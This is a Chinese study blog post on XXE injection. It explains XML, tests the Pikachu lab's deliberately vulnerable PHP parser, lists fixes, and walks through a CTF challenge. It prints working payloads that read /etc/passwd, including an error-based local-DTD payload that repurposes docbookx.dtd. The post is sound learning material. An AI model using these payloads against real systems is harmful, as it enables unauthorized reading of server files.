XXE漏洞学习(一)

0X00:漏洞概述

介绍:

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取命令执行内网端口扫描攻击内网网站发起Dos攻击等危害。

XML外部实体注入(XML External Entity)简称XXE

 XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

php函数simplexml_load_string()读取XML

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞

(1)什么是XML???

XML用于标记电子文件使其具有结构性的标记语句,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素

百度百科:

可扩展标记语言标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言
在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输

(2)XML文档格式

<!--第一部分:XML声明-->

<!--第二部分:文档类型定义DTD-->

<!--第三部分:文档元素-->

0X01:漏洞测试

测试环境pikachu

后端代码

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

?>

 

这是正常的XML

<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>

测试结果:

这是恶意的XML   payload ,引入了外部的SYSTEM

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

但是这里我没成功,可能是因为/etc/passwd是liunx的固定配置文件,我是windows

看被人的提交之后 就可以查看/etc/passwd的文件内容

 0x02:XXE漏洞修复建议

(1)禁止使用外部实体,例如 libxml_disable_entity_loader(true)

(2)过滤用户提交的XML数据,防止出现非法内容,如关键词:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等

(3)检查所使用的底层XML解析库,默认禁止外部实体的解析

(4)若使用第三方应用代码需要及时升级补丁

0X03:一题关于XXE注入的CTF

Blind association

题目地址:https://bnv.web.ctfcompetition.com/

题目描述:这是一个没有啥好看的 enterprise-ready Web应用程序。 

根据别人步骤做的 

中间说:请使用下面的搜索引擎找到离你最近的关联组织

有三个地名,提交了三次后发现没什么反应,只会出来貌似没用的文字

抓包发现!!!

每次提交,在POST一条message,如图

 试验过了,三个数是不变的,F12看一下javascript

 

 也不知道 为啥想到要看这个???

数一数 blindvalues 数组,刚好 26 个,猜想是不是字母一一对应捏,打开 Console 验证一下:

 

跟 message 一模一样!

下一步,先想一想是什么攻击方式。如果该题是 SQL 注入的话,那这题只能使用纯字,并且忽略大小写,这个有点难整啊…… 使用特殊标点符号 Fuzz 脚本怼一下,好的,一点用都没有。

思来想去,搜到了一个奇妙的渗透手法:基于 Json 的 web 服务也有可能存在着 XXE 注入!试一试提交 XML:

      改为:

 返回结果和之前不一样了!!!

 

整了好久,在 Burp 官网上看到了一个比较新颖的使用本地 DTD 读取文件的方法 Exploiting XXE to retrieve data by repurposing a local DTD[2]

这个 payload 主要是利用错误信息来打印目标文件的内容,重新定义了 docbookx.dtd (一般有 Gnome 就有它)里面的 ISOamso。我们提交了这个 payload 之后,当导入本地的 DTD 文件时,会优先执行我们定义的 ISOamso,因此可以达成任意文件读取。

使用该 payload 成功读取:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

  




猜一下常见的路径 /flag,对啦✔

 

 参考地址:https://mp.weixin.qq.com/s/6gDMvATp9y7HSD4bFqUXEg

原文地址:https://www.cnblogs.com/liqik/p/11167019.html